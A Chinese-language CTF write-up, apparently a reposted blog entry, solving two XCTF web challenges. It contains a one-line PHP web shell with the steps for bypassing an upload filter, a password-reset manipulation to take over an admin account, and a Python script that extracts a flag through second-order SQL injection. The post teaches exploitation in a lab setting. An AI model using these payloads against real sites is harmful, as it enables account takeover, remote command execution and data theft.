IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> XCTF BUG( 越权 修改forwarded头 文件上传) UNFINSH(二次注入 python脚本) 学习过程 -> 正文阅读

[PHP知识库]XCTF BUG( 越权 修改forwarded头 文件上传) UNFINSH(二次注入 python脚本) 学习过程

最近忙着入职和处理一些杂事,更新的确比较少了。不过在周末还是正好有空的,正好刷刷XCTF。

目录

XCTF BUG

注册账号

越权漏洞

?文件上传

XCTF UFINISH


?

XCTF BUG

首先进行常规的信息收集:F12查看源码,robots.txt 文件,无果,

简单注入语句 无果 考虑到登陆界面是否有二次注入

burpsuite 简单抓包 发现cookie中只存在一个SESSION

尝试弱口令无果。

所以只能从网站的功能落手了。

注册账号

登陆进去把所有功能都点一下。

?点击manage 模块 提示要以admin 登陆

?

越权漏洞

那么排除弱口令和注入的情况下,该怎么才能以admin身份登陆呢?

思路比较重要,毕竟CTF都是有答案的,不像一些站的关键模块怎么都早不到洞(原谅我的确菜)

?

点击findpwd? 填好们之前注册的账号信息

?点击 verify 按钮,抓包 把用户名 user 修改为admin 密码123456

可以看到返回包中显示修改成功。

以 admin 123456 登陆 进行下一步。

?文件上传

点击manager功能,查看源码

?moudle(是功能模块的意思)

这里也同样需要一个经验

module=filemanage&do=???

让我们差功能模块是什么??? 根据经验(write up)是 upload

进入

url/index.php?module=filemanage&do=upload

然后发现一个文件上传模块

简单尝试发现过滤规则

  1. 文件内容有前端验证 只能上传图片文件 我们可以上传一张图片改后缀
  2. 文件名存在后端黑名单? 但可用php5 绕过
  3. 对文件内容有检测 不能有<?php>

针对以上过滤

  1. 创建一个 <script?language="php">system($_GET['aaa']);</script>? php文件
  2. 修改后缀为jpg,上传burpsuite 改包,后缀修改为 。php5
  3. 点击发包即可获取flag

?

?

XCTF UFINISH

信息收集

?从上图可以知道是sql注入

查看源码,没啥关键的,尝试sql注入语句,发现对关键符号都有着过滤,而且必须要包含一个@符号

尝试了几个语句 发现绕不过(我觉得就算是能绕过我也绕不过|o--o|)

dirsearch-master 扫下目录

?先注册一个账号起

?

?这次总不是一张吊图了。查看源码发现没什么,但这里显示了我们的用户名

?很大程度像二次注入了

buuctf XCTF October 2019 Twice SQL Injection 二次注入原理+题解_AAAAAAAAAAAA66的博客-CSDN博客


?

开始试验一下

?难点:把注入语句写在引号里面这里,不过上图中的数据是注册不成功的,但坑的一点是不会报错,所以得不断尝试。

也就是说fuzz这个过程比较困难。过滤了 information_schema 逗号等

所以采用 + 和ascii 布尔盲注的形式

select '0'+ascii(substr(database(),1,1));

[网鼎杯2018]Unfinish - 夜幕下的灯火阑珊 - 博客园

所以直接借用大佬的脚本。(以后必须得学学这种注入脚本的写法)

#coding:utf-8
import requests
from bs4 import BeautifulSoup
import time


url = 'http://111.200.241.244:58602/'

m = ''
for i in range(100):
    payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)
    register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
    login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}
    req = requests.session()
    r1 = req.post(url+'register.php',data = register)
    r2 = req.post(url+'login.php', data = login)
    r3 = req.post(url+'index.php')
    html = r3.text
    soup = BeautifulSoup(html,'html.parser')
    UserName = soup.span.string.strip()
    if int(UserName) == 0:
        break
    m += chr(int(UserName))
    print(m)
    time.sleep(1)

?参考链接

2018 网鼎杯 unfinish - 知乎

[网鼎杯2018]Unfinish_fmyyy1的博客-CSDN博客

xctf-bug(绕过)_lzbzzzzz的博客-CSDN博客

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-03-16 22:03:36  更:2022-03-16 22:03:56 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/18 21:37:23-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码